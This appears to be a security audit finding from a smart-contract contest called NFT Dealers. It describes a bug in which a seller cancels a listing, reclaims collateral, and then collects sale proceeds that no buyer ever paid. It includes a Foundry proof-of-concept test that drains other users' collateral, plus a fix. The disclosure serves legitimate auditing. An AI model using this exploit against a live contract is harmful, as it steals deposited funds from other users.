NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

`collectUsdcFromSelling` callable after `cancelListing` enables theft without any sale

Author Revealed upon completion

Description

  • cancelListing allows a seller to delist their NFT and reclaim their minting collateral. After cancellation, isActive is set to false and collateral is returned via safeTransfer.

  • cancelListing only sets isActive = false but leaves listing.price and listing.seller intact. Since collectUsdcFromSelling only checks !isActive and msg.sender == seller, a seller can cancel their listing (reclaiming collateral) and then call collectUsdcFromSelling to additionally receive price - fees — even though no buyer ever paid that amount. Combined with the missing state cleanup (Finding #1), this can be called repeatedly to drain the entire contract.

function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
​
@> s_listings[_listingId].isActive = false; // price and seller remain intact
activeListingsCounter--;
​
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
​
emit NFT_Dealers_ListingCanceled(_listingId);
}
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
@> require(!listing.isActive, "Listing must be inactive to collect USDC"); // passes after cancel
// no check that a sale actually occurred
...
@> usdc.safeTransfer(msg.sender, amountToSeller); // sends price-fees despite no buyer
}

Risk

Likelihood:

  • Any whitelisted seller who has ever created a listing can exploit this — cancellation is a normal user action freely available to all participants.

  • The exploit requires no special timing or external conditions: cancel and immediately call collectUsdcFromSelling.

Impact:

  • Seller drains price - fees per call from funds deposited by other users (other minters' collateral and sale proceeds of other sellers).

  • Compounded with Finding #1 (no state reset), the seller can call repeatedly until the contract is empty.

Proof of Concept

Paste this function inside NFTDealersTest in test/NFTDealersTest.t.sol and run:
forge test --match-test testPoC_CollectAfterCancel -vvvv

function testPoC_CollectAfterCancel() public {
address alice = makeAddr("alice");
​
usdc.mint(alice, 20e6);
​
vm.prank(owner);
nftDealers.revealCollection();
vm.prank(owner);
nftDealers.whitelistWallet(alice);
​
// 5 victims mint — lock 5*20e6 = 100e6 of collateral in the contract
for (uint256 i = 0; i < 5; i++) {
address victim = makeAddr(string.concat("victim", vm.toString(i)));
usdc.mint(victim, 20e6);
vm.prank(owner);
nftDealers.whitelistWallet(victim);
vm.startPrank(victim);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
vm.stopPrank();
}
​
// Alice mints (tokenId = 6) and lists at 100 USDC
vm.startPrank(alice);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft(); // tokenId = 6
nftDealers.list(6, uint32(100e6));
​
// Alice cancels — recovers her 20e6 collateral; listing.price stays intact
nftDealers.cancelListing(6);
vm.stopPrank();
​
// Contract holds: 5*20e6 = 100e6 (victims' collateral, alice's was returned)
assertEq(usdc.balanceOf(alice), 20e6);
assertEq(usdc.balanceOf(address(nftDealers)), 100e6);
​
// Alice calls collectUsdcFromSelling — no buyer ever paid!
// listing.isActive = false (from cancel) + seller = alice → passes all checks
vm.prank(alice);
nftDealers.collectUsdcFromSelling(6);
​
// Alice stole price - fees = 100e6 - 1e6 = 99e6 from victims' collateral
assertEq(usdc.balanceOf(alice), 20e6 + 99e6); // 119e6
assertEq(usdc.balanceOf(address(nftDealers)), 100e6 - 99e6); // 1e6 left
}

Recommended Mitigation

function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
​
- s_listings[_listingId].isActive = false;
+ delete s_listings[_listingId];
activeListingsCounter--;
​
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
​
emit NFT_Dealers_ListingCanceled(_listingId);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!